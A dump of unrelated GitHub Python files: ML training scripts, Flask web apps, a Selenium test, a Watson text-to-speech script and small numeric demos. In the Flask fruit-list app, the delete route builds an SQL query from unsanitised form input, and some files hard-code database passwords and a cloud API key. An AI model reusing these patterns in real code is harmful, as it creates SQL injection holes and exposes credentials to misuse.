torch.no_grad():\r\n for i in range(0, label_source.size(0), args.bptt):\r\n data_X1, data_X2, data_label = get_batch(data_source_X1, data_source_X2, label_source, i)\r\n output,_1,_2 = model(data_X1, data_X2)\r\n loss_fn = torch.nn.MSELoss(reduce=False, size_average=False).to(device)\r\n loss = loss_fn(output.transpose(0, 1).view(args.eval_batch_size, 1),\r\n data_label[args.bptt-1].transpose(0, 1).view(args.eval_batch_size, 1)).to(device)\r\n loss = torch.sum(loss, 1)\r\n loss = torch.mean(loss)\r\n total_loss += loss.item()\r\n return total_loss, output, data_label\r\ndef testit(data_source_X1,data_source_X2,label_source):\r\n '''Turn on evaluation mode'''\r\n model.eval()\r\n total_loss = 0.\r\n with torch.no_grad():\r\n for i in range(0, label_source.size(0), args.bptt):\r\n data_X1, data_X2, data_label = get_batch(data_source_X1, data_source_X2, label_source, i)\r\n output,_1,_2_ = model(data_X1, data_X2)\r\n loss_fn = torch.nn.MSELoss(reduce=False, size_average=False).to(device)\r\n loss = loss_fn(output.transpose(0, 1).view(args.test_batch_size, 1),\r\n data_label[args.bptt-1].transpose(0, 1).view(args.test_batch_size, 1)).to(device)\r\n loss = torch.sum(loss, 1)\r\n loss = torch.mean(loss)\r\n total_loss += loss.item()\r\n return total_loss, output, data_label\r\ndef train():\r\n '''Turn on train mode'''\r\n model.train()\r\n total_loss = 0.\r\n forward_elapsed_time = 0.\r\n start_time = time.time()\r\n judge = 0\r\n for batch, i in enumerate(range(0,train_label.size(0), args.bptt)):\r\n judge+=1\r\n data_X1, data_X2, data_label = get_batch(train_data_X1, train_data_X2, train_label, i)\r\n if if_cuda:\r\n torch.cuda.synchronize()\r\n forward_start_time = time.time()\r\n '''Zero the gradients before running the backward pass'''\r\n model.zero_grad()\r\n output,_1,_2= model(data_X1, data_X2)\r\n loss_fn = torch.nn.MSELoss(reduce=True, size_average=True).to(device)\r\n loss = loss_fn(output.transpose(0, 1).view(args.batch_size,1), data_label[args.bptt-1].transpose(0, 1).view(args.batch_size,1)).to(device)\r\n total_loss += loss.item()\r\n if if_cuda:\r\n torch.cuda.synchronize()\r\n forward_elapsed = time.time() - forward_start_time\r\n forward_elapsed_time += forward_elapsed\r\n loss.backward(retain_graph=True)\r\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.clip)\r\n optimizer.step()\r\n if batch % args.log_interval == 0 and batch > 0:\r\n cur_loss = total_loss / args.log_interval\r\n elapsed = time.time() - start_time\r\n printlog = '| epoch {:3d} | {:5d}/{:5d} batches | lr {:02.6f} | ms/batch {:5.2f} | forward ms/batch {:5.2f} | loss {:5.2f} | ppl {:8.2f}'.format(\r\n epoch, batch, len(data_label) // args.bptt, optimizer.param_groups[0]['lr'],\r\n elapsed * 1000 / args.log_interval, forward_elapsed_time * 1000 / args.log_interval,\r\n cur_loss, math.exp(cur_loss))\r\n print(printlog)\r\n logger_train.write(printlog + '\\n')\r\n logger_train.flush()\r\n start_time = time.time()\r\n forward_elapsed_time = 0.\r\n return total_loss/judge\r\n\r\ndef render_loss(list1,list2):\r\n '''Draw the line chart of the trends of training and verification errors'''\r\n x = []\r\n y1 = []\r\n y2 = []\r\n p = max(max(list1),max(list2))\r\n pp = min(min(list1),min(list2))\r\n for i in range(0, args.epochs):\r\n x.append(i)\r\n y1.append(list1[i])\r\n y2.append(list2[i])\r\n plt.xlim((-1, args.epochs))\r\n plt.ylim((pp-0.01, p+0.01))\r\n plt.xlabel('number')\r\n plt.ylabel('p')\r\n plt.plot(x, y1, 'r', label='train')\r\n plt.plot(x, y2, 'b', label='val')\r\n plt.legend()\r\n plt.savefig(os.path.join(os.getcwd(), folder_name,'img_train'), format='png')\r\n plt.show()\r\n\r\n'''Loop over epochs'''\r\nlr = args.lr\r\nbest_val_loss = None\r\ntrain_loss_list = []\r\nval_loss_list = []\r\ntry:\r\n for epoch in range(1, args.epochs + 1):\r\n epoch_start_time = time.time()\r\n total_loss = train()\r\n val_loss,val_output,val_true = evaluate(val_data_X1,val_data_X2,val_data_label)\r\n train_loss_list.append(total_loss)\r\n val_loss_list.append(val_loss)\r\n otime = time.time() - epoch_start_time\r\n print('-' * 89)\r\n testlog = '| end of epoch {:3d} | time: {:5.2f}s | train loss {:5.6f}| valid loss {:5.6f} | valid ppl {:8.2f}'.format(\r\n epoch, otime, total_loss, val_loss, math.exp(val_loss))\r\n print(testlog)\r\n logger_test.write(testlog + '\\n')\r\n logger_test.flush()\r\n print('-' * 89)\r\n scheduler.step(val_loss)\r\n '''Save the model if the validation loss is the best we've seen so far.'''\r\n if not best_val_loss or val_loss < best_val_loss:\r\n with open(os.path.join(os.getcwd(), folder_name, args.save), 'wb') as f:\r\n torch.save(model, f)\r\n best_val_loss = val_loss\r\nexcept KeyboardInterrupt:\r\n print('-' * 89)\r\n print('Exiting from training early')\r\nwith open(os.path.join(os.getcwd(), folder_name, args.save), 'rb') as f:\r\n model = torch.load(f)\r\n if args.cudnn:\r\n model.rnn.flatten_parameters()\r\n'''Run on test data'''\r\ntest_loss,output,true_output = testit(test_data_X1,test_data_X2,test_data_label)\r\nprint('=' * 89)\r\ntestlog = '| End of training | test loss {:5.4f} | test ppl {:8.2f}| output {:s}| true_output {:s}'.format(\r\n test_loss,math.exp(test_loss),str(output),str(true_output[args.bptt-1]))\r\nprint(testlog)\r\nlogger_test.write(testlog + '\\n')\r\nlogger_test.flush()\r\nprint('=' * 89)\r\nrender_loss(train_loss_list,val_loss_list)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Irenegj/Spatiotemporal-attention-based-neural-network","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":12569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"74372403291","text":"import numpy as np\r\n\r\nfrom layer import Layer\r\n\r\n\r\nclass Linear(Layer):\r\n def __init__(self, input_size, output_size, weights=None, bias=None):\r\n self.weights = weights if weights is not None \\\r\n else np.random.rand(input_size, output_size)\r\n self.bias = bias if bias is not None else np.random.rand(\r\n 1, output_size)\r\n self.weights_gradient = np.zeros((input_size, output_size))\r\n self.bias_gradient = np.zeros((1, output_size))\r\n delta = np.zeros((1, output_size))\r\n\r\n def forward(self, inputs):\r\n self.inputs = inputs\r\n output = np.dot(self.inputs, self.weights) + self.bias\r\n\r\n return output\r\n\r\n def backward(self, next_delta):\r\n # Computes dE/dX, dE/dW, dE/dB for a given next_delta=dE/dY.\r\n batch_size = len(self.inputs)\r\n delta = np.dot(next_delta, self.weights.T)\r\n self.weights_gradient += np.dot(self.inputs.T, next_delta) / batch_size\r\n self.bias_gradient += next_delta.sum(axis=0) / batch_size\r\n\r\n return delta\r\n\r\n def update(self, lr=0.001):\r\n # Use SGD to update weights.\r\n self.weights -= lr * self.weights_gradient\r\n self.bias -= lr * self.bias_gradient\r\n # Clear gradient after updating weights.\r\n self.clear_grad()\r\n return\r\n\r\n def clear_grad(self):\r\n self.weights_gradient = np.zeros_like(self.weights_gradient)\r\n self.bias_gradient = np.zeros_like(self.bias_gradient)\r\n","repo_name":"coffree0123/simple-neural-network","sub_path":"fc_layer.py","file_name":"fc_layer.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"11954430719","text":"import numpy as np\nimport tensorflow as tf\nimport collections\nfrom tensorflow_field import align_images\n\n\ndef calculate_objective(assignments, id):\n tf.reset_default_graph()\n\n hpms = collections.namedtuple('hparams',\n ['name', 'num_steps', 'learning_rate', 'beta', 'initial_scale', 'scale_tuner_alpha',\n 'elastic_weight', 'translation_coherence_weight', 'rotation_coherence_weight',\n 'turn_on_rotation_frac', 'turn_on_elastic_frac', ])\n\n hparams_run = hpms(name=id,\n num_steps=assignments['num_steps'],\n learning_rate=assignments['learning_rate'],\n beta=assignments['beta'],\n initial_scale=assignments['initial_scale'],\n scale_tuner_alpha=assignments['scale_tuner_alpha'],\n elastic_weight=assignments['elastic_weight'],\n translation_coherence_weight=assignments['translation_coherence_weight'],\n rotation_coherence_weight=assignments['rotation_coherence_weight'],\n turn_on_rotation_frac=assignments['turn_on_rotation_frac'],\n turn_on_elastic_frac=assignments['turn_on_elastic_frac']\n )\n\n print(hparams_run)\n\n try:\n metric, runtime, mse_loss = align_images(directory='output/' + hparams_run.name, hparams=hparams_run, save_figs=True)\n if metric is np.nan:\n return np.nan, np.nan\n objectives = [{'name': 'mse', 'value': float(-metric)}, {'name': 'runtime', 'value': float(-runtime)}]\n return objectives, mse_loss\n except:\n return np.nan, np.nan, np.nan\n","repo_name":"Noahyt/tf_elastic_registration","sub_path":"sigopt_objective.py","file_name":"sigopt_objective.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"26897181569","text":"#! /usr/bin/python\n# coding=utf-8\n__author__ = 'Administrator'\n\nfrom selenium import webdriver\nimport time\nimport unittest\n\nclass MyTest(unittest.TestCase):\n\n def setUp(self):\n self.driver = webdriver.Firefox()\n self.driver.maximize_window()\n self.driver.implicitly_wait(5)\n self.base_url = \"http://www.baidu.com\"\n\n def test_baidu(self):\n bsr = self.driver\n bsr.get(self.base_url + \"/\")\n bsr.find_element_by_id(\"kw\").clear()\n bsr.find_element_by_id(\"kw\").send_keys(\"unittest\")\n bsr.find_element_by_id(\"su\").click()\n\n time.sleep(2)\n title = bsr.title\n print(title)\n self.assertEqual(title, \"unittest_百度搜索\")\n\n def tearDown(self):\n self.driver.quit()\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"kinghua1/test3","sub_path":"testproject/testproject/test_case/test_baidu.py","file_name":"test_baidu.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7048325152","text":"#!/usr/bin/python3\n# -*- encoding: utf-8 -*-\n\nimport argparse\nimport os\n\nimport data\nimport util\nfrom colorize_model import ColorizationModel\n\n\nif __name__ == '__main__':\n\n # get the params\n parser = argparse.ArgumentParser(description='test the model')\n parser.add_argument('--dataroot', required=True, help='path to images')\n parser.add_argument('--load_epoch', type=int, default=-1, help='specify the epoch # to load, default load the latest poch')\n parser.add_argument('--ngf', type=int, default=64, help='# of gen filters in the last conv layer, must be the same as training')\n parser.add_argument('--ndf', type=int, default=64, help='# of discrim filters in the first conv layer, must be the same as training')\n parser.add_argument('--gpu', action='store_true', help='whether to use gpu')\n parser.add_argument('--preprocess', type=str, default='resize_and_crop', help='scaling and cropping of images at load time [resize_and_crop | crop | scale_width | scale_width_and_crop | none]')\n parser.add_argument('--load_size', type=int, default=256, help='scale images to this size')\n parser.add_argument('--crop_size', type=int, default=256, help='then crop to this size')\n args = parser.parse_args()\n\n args.max_dataset_size = float('inf')\n args.batch_size = 1 # test code only supports batch_size = 1\n args.no_flip = True # no flip; comment this line if results on flipped images are needed.\n args.serial_batches = True # no shuffle for data loader\n args.verbose = False # do not print the whole network structures\n args.isTrain = False\n\n # create the data loader\n dataset = data.create_dataset(args) # create a dataset\n print('The number of testing images = %d' % len(dataset))\n\n # create folder for test results\n util.mkdir('test_result')\n\n # create model\n model = ColorizationModel(args)\n model.setup(args) # print networks; create schedulers\n\n for i, data in enumerate(dataset):\n model.set_input(data)\n model.test() # run inference\n visuals = model.get_current_visuals() # get image results\n img_path = model.get_image_paths() # get image paths\n assert len(img_path) == 1\n img_filename = os.path.basename(img_path[0]).rsplit('.')[0] # get original file name\n model.save_current_results(visuals, isTrain=False, prefix=img_filename)\n if i % 10 == 0:\n print('processing', i)\n","repo_name":"7forz/colorize_pix2pix","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"17036572315","text":"import flask\nimport base64\nimport os\nimport models\nimport bcrypt\nimport datetime\nfrom sqlalchemy.orm import joinedload\nfrom init import app, db\n\n###########################################################################################################\n# User section!!!\n#\n###########################################################################################################\n@app.before_request\ndef setup_user():\n if 'auth_user' in flask.session:\n user = models.Users.query.get(flask.session['auth_user'])\n # save the user in `flask.g`, which is a set of globals for this request\n flask.g.user = user\n\n\n@app.route('/log', methods=['POST'])\ndef login():\n user = flask.request.form['user']\n password = flask.request.form['password']\n userinfo = models.Users.query.filter_by(name=user).first()\n if userinfo:\n p = bcrypt.hashpw(password.encode('utf8'), userinfo.pw_hash)\n if userinfo.pw_hash == p:\n flask.session['auth_user'] = user\n return flask.redirect(flask.request.form['url'], code=303)\n else:\n return flask.render_template('index.html', check=2)\n else:\n return flask.render_template('index.html', check=1)\n\n\n@app.route('/sign')\ndef sign():\n return flask.render_template('createuser.html')\n\n\n@app.route('/createuser', methods=['POST'])\ndef createuser():\n user = flask.request.form['user']\n if user == '':\n return flask.render_template('createuser.html', check=0)\n password = flask.request.form['password']\n confirm = flask.request.form['confirm']\n finduser = models.Users.query.filter_by(name=user).first()\n if finduser:\n return flask.render_template('createuser.html', check=1, username=user)\n if password != confirm:\n return flask.render_template('createuser.html', check=2)\n new_user = models.Users()\n new_user.name = user\n new_user.pw_hash = bcrypt.hashpw(password.encode('utf8'), bcrypt.gensalt(15))\n db.session.add(new_user)\n db.session.commit()\n\n flask.session['auth_user'] = user\n return flask.redirect('/', code=303)\n\n\n@app.route('/logout')\ndef logout():\n del flask.session['auth_user']\n return flask.redirect(flask.request.args.get('url', '/'))\n\n\n###########################################################################################################\n# Error section!!!\n#\n###########################################################################################################\n@app.errorhandler(404)\ndef not_found(err):\n return (flask.render_template('404.html', path=flask.request.path), 404)\n\n\n###########################################################################################################\n# Index page section!!!\n#\n###########################################################################################################\n@app.route('/')\ndef mainpage():\n if 'csrf_token' not in flask.session:\n flask.session['csrf_token'] = base64.b64encode(os.urandom(32)).decode('ascii')\n auth_user = flask.session.get('auth_user', None)\n questions = models.Questions.query.all()\n pages = len(questions)\n index = 0\n resp = flask.make_response(flask.render_template('index.html', auth_user=auth_user,\n csrf_token=flask.session['csrf_token'],\n questions=questions, pageindex=index,\n pages=pages))\n return resp\n\n\n@app.route('/')\ndef pageindex(page):\n index = page\n questions = models.Questions.query.all()\n pages = len(questions)\n return flask.render_template('index.html', csrf_token=flask.session['csrf_token'],\n questions=questions, pageindex=index, pages=pages)\n\n\n###########################################################################################################\n# Create questions section!!!\n#\n###########################################################################################################\n@app.route('/askquestion')\ndef askquestion():\n return flask.render_template('addquestion.html', _csrf_token=flask.session['csrf_token'])\n\n\n@app.route('/addquestion', methods=['POST'])\ndef addquestion():\n question = models.Questions()\n if 'auth_user' not in flask.session:\n app.logger.warn('unauthorized user tried to question')\n flask.abort(401)\n if flask.request.form['_csrf_token'] != flask.session['csrf_token']:\n app.logger.debug('invalid CSRF token in question form')\n flask.abort(400)\n\n title = flask.request.form['title']\n content = flask.request.form['content']\n alltags = flask.request.form['tags']\n\n if title == '' or content == '':\n return flask.render_template('addquestion.html', _csrf_token=flask.session['csrf_token'],\n errorms=1)\n checkquestion = models.Questions.query.filter_by(title=title).first()\n if checkquestion:\n return flask.render_template('addquestion.html', _csrf_token=flask.session['csrf_token'],\n errorms=2, content=content)\n\n for tag in alltags.split(','):\n if not tag.strip():\n continue\n tags = models.QuestionTag()\n tags.tag = tag.strip()\n question.tags.append(tags)\n\n question.title = title\n question.content = content\n question.time = datetime.datetime.today().replace(microsecond=0)\n\n author_id = models.Users.query.filter_by(name=flask.session.get('auth_user')).first().id\n question.author_id = author_id\n db.session.add(question)\n db.session.commit()\n\n return flask.redirect(flask.url_for('question', qid=question.id), code=303)\n\n\n###########################################################################################################\n# Question detail page!!!\n#\n###########################################################################################################\n@app.route('/question/')\ndef question(qid):\n question = models.Questions.query.get(qid)\n if 'auth_user' not in flask.session:\n user_id = None\n\n else:\n user_id = models.Users.query.filter_by(name=flask.session.get('auth_user')).first().id\n\n #answers = models.Answers.query.join(models.Votes, models.Answers.id == models.Votes.answer_id).\n # filter_by(question_id=question.id)\n allanswers = []\n answers = models.Answers.query.filter_by(question_id=question.id)\n for answer in answers:\n if user_id is None:\n upvote = False\n downvote = False\n else:\n status = models.Votes.query.filter_by(answer_id=answer.id, voter_id=user_id).first()\n if status is None:\n upvote = False\n downvote = False\n else:\n upvote = status.up_vote is not None\n downvote = status.down_vote is not None\n\n allanswers.append({\"answer\": answer, \"upvote\": upvote, \"downvote\": downvote,\n \"totalvote\": answer.total_up_vote - answer.total_down_vote})\n\n allanswers = sorted(allanswers, key=lambda r: r['totalvote'])\n\n return flask.render_template('questionpage.html', question=question, answers=allanswers,\n _csrf_token=flask.session['csrf_token'],user_id=user_id)\n\n\n@app.route('/addanswer', methods=['POST'])\ndef addanswer():\n\n if 'auth_user' not in flask.session:\n app.logger.warn('unauthorized user tried to question')\n flask.abort(401)\n if flask.request.form['_csrf_token'] != flask.session['csrf_token']:\n app.logger.debug('invalid CSRF token in question form')\n flask.abort(400)\n\n qid = flask.request.form['question_id']\n content = flask.request.form['content']\n\n if not content:\n return flask.redirect(flask.url_for('question', qid=qid), code=303)\n\n answer = models.Answers()\n answer.content = content\n answer.time = datetime.datetime.today().replace(microsecond=0)\n answer.total_up_vote = 0\n answer.total_down_vote = 0\n answer.question_id = int(qid)\n\n author = flask.session.get('auth_user', None)\n answer.author_id = models.Users.query.filter_by(name=author).first().id\n models.Questions.query.filter_by(id=qid).first().n_answer += 1\n\n db.session.add(answer)\n db.session.commit()\n\n return flask.redirect(flask.url_for('question', qid=qid), code=303)\n\n###########################################################################################################\n# Tag page!!!\n#\n###########################################################################################################\n@app.route('/tags/')\ndef tagpage(tag):\n q = models.QuestionTag.query.options(joinedload(models.QuestionTag.question))\n alltags = q.filter_by(tag=tag).all()\n questions = [at.question for at in alltags]\n return flask.render_template('tag.html', tag=tag, questions=questions)\n","repo_name":"Firdaus1/p3-QandA","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37292855947","text":"#!/usr/bin/env python\n\n\"\"\"\nThis script tries to discover the secret behind the Winograd algorithm.\n\"\"\"\n\nimport numpy as np\n\ndef FIR(x, b):\n \"\"\"\n Standard FIR algorithm implementation.\n\n :param x: an input array\n :param b: a coefficient array of length r\n :return: FIR result\n \"\"\"\n r = len(b)\n y = np.zeros(len(x) - r + 1)\n for i in range(len(y)):\n y[i] = np.sum(x[i:i+r] * b) \n return y\n\ndef winograd_FIR(x, b, p = 2):\n \"\"\"\n Winograd FIR algorithm implementation.\n\n :param x: an input array\n :param b: a coefficient array of length r\n :param p: Winograd matrix, number of rows\n :return: FIR result\n \"\"\"\n\n r = len(b)\n n = len(x)\n y = np.zeros(n - r + 1)\n m = np.zeros(r + p - 1)\n \n assert p == 2, \"only support p = 2\"\n assert len(y) % p == 0, \"len(y) should be divisible by p\"\n\n num_tiles = int(len(y) / p)\n\n for t in range(num_tiles):\n i = t * p\n d = x[i:i+len(m)]\n\n m[0] = (d[0] - d[2]) * b[0]\n m[1] = (d[1] + d[2]) * (b[0] + b[1] + b[2]) / 2\n m[2] = (d[2] - d[1]) * (b[0] - b[1] + b[2]) / 2\n m[3] = (d[1] - d[3]) * b[2]\n\n y[i] = m[0] + m[1] + m[2]\n y[i + 1] = m[1] - m[2] - m[3]\n\n return y\n\ndef winograd_FIR_mm(x, b, p = 2):\n \"\"\"\n Winograd FIR implemented by matrix multiplication.\n\n :param x: an input array\n :param b: a coefficient array of length r\n :param p: Winograd matrix, number of rows\n :return: FIR result\n \"\"\"\n\n B = np.array([[1, 0, -1, 0], [0, 1, 1, 0], [0, -1, 1, 0], [0, 1, 0, -1]]).T\n G = np.array([[1, 0, 0], [0.5, 0.5, 0.5], [0.5, -0.5, 0.5], [0, 0, 1]])\n A = np.array([[1, 1, 1, 0], [0, 1, -1, -1]]).T\n \n r = len(b)\n n = len(x)\n y = np.zeros(n - r + 1)\n m = np.zeros(r + p - 1)\n \n assert p == 2, \"only support p = 2\"\n assert len(y) % p == 0, \"len(y) should be divisible by p\"\n\n num_tiles = int(len(y) / p)\n\n for t in range(num_tiles):\n i = t * p\n d = x[i:i+len(m)]\n g = b\n\n y[i:i+2] = np.dot(A.T, np.dot(G, g) * np.dot(B.T, d))\n\n return y\n\n\n\nif __name__ == '__main__':\n n = 16\n r = 3\n x = np.random.random(n)\n b = np.random.random(r)\n\n assert np.isclose(FIR(x, b), winograd_FIR(x, b)).all(), \\\n \"FIR and winograd should match\"\n assert np.isclose(FIR(x, b), winograd_FIR_mm(x, b)).all(), \\\n \"FIR and winograd (MM) should match\"\n\n print(\"FIR PASSED\")\n","repo_name":"kumasento/deacon","sub_path":"runtime/python/winograd.py","file_name":"winograd.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"13037779622","text":"from flask import Flask, render_template, url_for, request\nimport mysql.connector\n\n# Creates a flask app\napp = Flask(__name__)\n\n# Fill the necessary config fields for the DB connexion\nconfig = {\n 'user': 'mzEfYUETPz',\n 'password': 'XQmgGcWPkP',\n 'host': 'remotemysql.com',\n 'port': '3306',\n 'database': 'mzEfYUETPz'\n }\n\n# Connects to the database\nconnection = mysql.connector.connect(**config)\n\n# The \"Add\" route (When a user adds a fruit)\n@app.route('/add', methods=['POST'])\ndef addFruit():\n fruitName = request.form['name']\n cursor = connection.cursor()\n query = 'INSERT INTO fruits_list (id, name) VALUES(%s, %s)' # Prepared query to prevent SQL-injection\n cursor.execute(query, (0, str(fruitName)))\n return getAllFruits()\n\n# The \"Delete\" route (When a user deletes a fruit)\n@app.route('/delete', methods=['POST'])\ndef deleteFruit():\n fruitId = request.form['entry_id']\n cursor = connection.cursor()\n cursor.execute(f'DELETE FROM fruits_list WHERE id = {fruitId}')\n return getAllFruits()\n\n# Display every fruit stored in the database on 'index.html'\n@app.route('/')\ndef getAllFruits():\n cursor = connection.cursor()\n cursor.execute('SELECT * FROM fruits_list')\n results = cursor.fetchall()\n return render_template('index.html', fruits=results)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","repo_name":"ajacquierbret/fruit-manager-app","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42147636137","text":"\r\nfrom ibm_watson import TextToSpeechV1\r\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\r\n\r\n\r\napikey = 'Xcc2JvvanDgNPx_VqUaS6X3cWWmTrReWppoeUpp3ykqV'\r\nurl = 'https://api.us-south.text-to-speech.watson.cloud.ibm.com/instances/14c63f94-0d23-44f4-b1eb-7cabb52e52c3'\r\n\r\nauthenticator = IAMAuthenticator(apikey)\r\ntts = TextToSpeechV1(authenticator=authenticator)\r\ntts.set_service_url(url)\r\n\r\n\r\nwith open('test.txt', 'r') as f:\r\n text = f.readlines()\r\n text = [line.replace('\\n', '') for line in text]\r\n text = ''.join(str(line) for line in text)\r\n\r\n\r\nwith open('./sound.mp3', 'wb') as audio_file:\r\n res = tts.synthesize(text, accept='audio/mp3', voice='en-US_AllisonV3Voice').get_result()\r\n audio_file.write(res.content)\r\n\r\n\r\n ","repo_name":"Zainab3li/Live-sppech-to-text-and-text-to-speech-with-Watson-","sub_path":"TextToSpeech.py","file_name":"TextToSpeech.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25272276395","text":"#Definimos la funcion\n\ndef Promedio():\n#definimos la variable\n suma = 0\n#solicitamos la cantidad de estudiantes\n num_estudiantes = int(input('¿Cuantos estudiantes hay en el salon?'))\n \n#Solicitamos las notas\n for i in range (1, num_estudiantes+1):\n calificacion = float(input('Introduce las notas del estudiante: '))\n suma = suma + calificacion\n \n#calcular promedio\n promedio = suma/num_estudiantes\n print ('EL promedio de los estudiantes es: ', promedio)\n \n#llamamos a la funcion\nPromedio()\n ","repo_name":"BrandoAp/Primer-programa-en-Python","sub_path":"Promedio de estudiantes.py","file_name":"Promedio de estudiantes.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25708419549","text":"# The next step for optimization is using the sample space with maybe:\n# faces if amount == 1\n# faces**2 if amount == 2\n# ??? if amount > 2\n# ;-;=b\n# if amount == 3: if faces is even: 2* (mid*(min+mid)/2); elif faces == 3: (faces+1)**2; elif faces==5: (faces+2)**2...\n# I think...\n\n\ndef sums_counter(amount: int, faces: int):\n result_min = amount # * 1 (minor face); The minimum scrollable result\n result_max = amount * faces # The maximum scrollable result\n results = dict() # The count will be allocated in a dictionary listing how many times each hit occurs\n even = amount % 2 != 0 and faces % 2 == 0 # No, no is wrong! This \"even\" meas if the length counts is even,\n # and it will be important in the line 18\n result_mid = (result_max + result_min) // 2 # Similar to the Pascal sequence, it is mirrored in its midst\n\n if amount == 1: # In the case, we have a equiprobable sample space, so all the results occur once\n for result in range(result_min, result_max+1):\n results[result] = 1\n else: # If you tab the possible results, you will see that a \"pyramidal\" pattern to the values with a arithmetic\n # ratio of the 1\n for result in range(result_min, result_max+1):\n if result == result_min:\n results[result] = 1\n elif result <= result_mid:\n results[result] = results[result - 1] + 1\n elif result == result_mid + 1 and even:\n results[result] = results[result - 1]\n else:\n results[result] = results[result-1] - 1\n return results\n\n\ndef sums_probabilities(amount: int, faces: int, percentage=False):\n # With the count values it is possible to calculate the probability by dividing by the sample space, which would\n # be the sum of this count.\n sums_counts = sums_counter(amount, faces)\n results = dict()\n counts = sums_counts.values()\n sample_space = sum(counts)\n for r, c in sums_counts.items():\n probability = c/sample_space\n if percentage:\n probability *= 100\n results[r] = probability\n return results\n\n\n# Tester\ndice_ex = input(\"<#DADOS>d<#FACES>: \")\nn, f = map(int, dice_ex.split('d')) # n: amount of dices, f: amount of faces\nshow_percent = input(\"Mostrar em porcentagem? [Sn]\") in \"Ss\"\nf_max = f\ndel f\nfor f in range(2, f_max + 1): # 2: Coin; But it work with 1...\n print(\"=\"*30 + f\" {n}d{f} \" + \"=\"*30)\n sums_n_counts = sums_counter(n, f)\n sums_n_probs = sums_probabilities(n, f, show_percent)\n probabilities = list(map(round, sums_n_probs.values(), [2 for x in sums_n_probs]))\n\n for soma in sums_n_counts.keys():\n print(str(soma).center(9), end= '| ')\n print()\n for count in sums_n_counts.values():\n print(str(count).center(9), end='| ')\n print(\"=\" + str(sum(sums_n_counts.values())).center(9))\n for probability in probabilities:\n print((str(probability) + (\"%\" if show_percent else \"\")).center(9), end='| ')\n print()\nprint(\"=\"*65)\n","repo_name":"slottwo/rpg-dpc","sub_path":"calculator/old.py","file_name":"old.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6667937629","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Date : 2018-05-12 10:14:12\r\n# @Author : Yan Liu & Zhi Liu (zhiliu.mind@gmail.com)\r\n# @Link : http://iridescent.ink\r\n# @Version : $1.0$\r\n\r\nimport iprs\r\nimport numpy as np\r\nimport random\r\n\r\nsensor_name = 'DIY4'\r\nacquis_name = 'DIY4'\r\n\r\nsarplat = iprs.SarPlat()\r\n\r\n\r\noutfolder = '../data/sar/'\r\n\r\nsarplatname = 'sensor=DIY4_acquisition=DIY4_'\r\ndatasetname = 'MinSARs21+Disc32'\r\n\r\noutfilename_prefix = outfolder + sarplatname + datasetname\r\n\r\ninfolder = '/mnt/d/DataSets/zhi/SAR/MiniSAR/'\r\ndataformat = '.pkl'\r\n\r\nfilelists = iprs.listxfile(listdir=infolder, exts=dataformat)\r\n\r\n\r\n# exit()\r\nSrs = []\r\nSrIs = []\r\n\r\nnScenes = 0\r\nfor sarfile in filelists:\r\n print(\"reading... \", sarfile)\r\n sardata, sarplat = iprs.sarread(sarfile)\r\n Sr = sardata.rawdata\r\n SrI = sardata.image\r\n\r\n print(\"====================combine sar raw data\")\r\n if isinstance(Sr, list):\r\n nScenesN = len(Sr)\r\n print(\"---------- \", nScenesN, \" scenes in: \", sarfile)\r\n for n in range(nScenesN):\r\n print(type(Sr[n]))\r\n print(Sr[n].shape)\r\n Srs.append(Sr[n])\r\n SrIs.append(SrI[n])\r\n nScenes = nScenes + 1\r\n else:\r\n print(Sr.shape)\r\n Srs.append(Sr)\r\n SrIs.append(SrI)\r\n nScenes = nScenes + 1\r\n\r\n\r\noutfile = outfilename_prefix + \"_nScenes\" + str(nScenes) + '.pkl'\r\n\r\nprint(\"====================save sar data to...\")\r\nprint(outfile)\r\n\r\nDataSet = iprs.SarData()\r\nDataSet.name = datasetname\r\nDataSet.rawdata = Srs\r\nDataSet.image = SrIs\r\n\r\noutfile = outfilename_prefix + \"_nScenes\" + str(nScenes) + '.pkl'\r\n\r\niprs.sarstore(DataSet, sarplat, outfile)\r\nsardata, sarplat = iprs.sarread(outfile)\r\n\r\nSrs = sardata.rawdata\r\nSrIs = sardata.image\r\n\r\n\r\n# ----------------------------valid------------------------\r\nverbose = True\r\nimagingMethod = 'RangeDoppler' # 'RangeDoppler' ChirpScaling OmegaK\r\n# imagingMethod = 'ChirpScaling' # 'RangeDoppler' ChirpScaling OmegaK\r\n# imagingMethod = 'OmegaK' # 'RangeDoppler' ChirpScaling OmegaK\r\n\r\n\r\nnImagesForShow = 6\r\n\r\nidxImageShow = 